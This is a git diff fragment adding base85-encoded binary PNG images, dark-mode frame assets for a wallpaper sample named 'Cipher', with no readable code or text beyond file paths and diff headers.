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 H>E{0jk$GRy literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe6.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe6.png new file mode 100644 index 0000000000000000000000000000000000000000..81325abb58450cabdac1f2a99b77b166b494672a GIT binary patch literal 53895 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 